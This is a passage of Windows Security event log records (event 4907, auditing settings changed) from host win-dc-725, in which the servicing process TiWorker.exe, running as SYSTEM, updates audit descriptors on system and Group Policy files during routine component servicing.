Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_syswow64_en-us_9e576ab077991fe8.cdf-ms - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247543 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_modules_grouppolicy_en-us_1786904f38608857.cdf-ms - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247542 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_modules_grouppolicy_f160218b6d329add.cdf-ms - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247541 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_modules_b001352a7f7811a4.cdf-ms - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247540 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_19ae85881f1c4f2d.cdf-ms - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247539 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_syswow64_21ffbdd2a2dd92e0.cdf-ms - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247538 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$.cdf-ms - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247537 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\_0000000000000000.cdf-ms - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247881 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\GroupPolicy\GroupPolicy.psd1 - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247880 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\GroupPolicy\GroupPolicy.format.ps1xml - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247879 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\propshts.dll.mui - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247878 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\ntdsperf.dll.mui - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247877 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\gptedit.msc - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247876 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\GPRSoP.dll.mui - Handle ID: 0xd6c - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247875 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\gpregistrybrowser.dll.mui - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247874 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\gpprefcn.dll.mui - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247873 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\gpprefbr.dll.mui - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247872 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\gppref.dll.mui - Handle ID: 0xd6c - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247871 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\GPOAdminCustom.dll.mui - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247870 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\GPOAdminCommon.dll.mui - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247869 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\GPOAdmin.dll.mui - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247868 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\gpmgmt.dll.mui - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247867 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\gpme.msc - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247866 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\gpme.dll.mui - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247865 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\gpmc.msc - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247864 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\dfsrPropagationStrings.xml - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247863 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\DfsrHelper.dll.mui - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247862 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\dfsrHealthStrings.xml - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247861 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\dfsrHealthMessages.xml - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247860 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\DfsRes.dll.mui - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247859 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\en-US\DfsfrsHost.exe.mui - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247858 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\NTFRSPRF.dll - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247857 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\ntdsperf.dll - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247856 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\gptedit.msc - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: 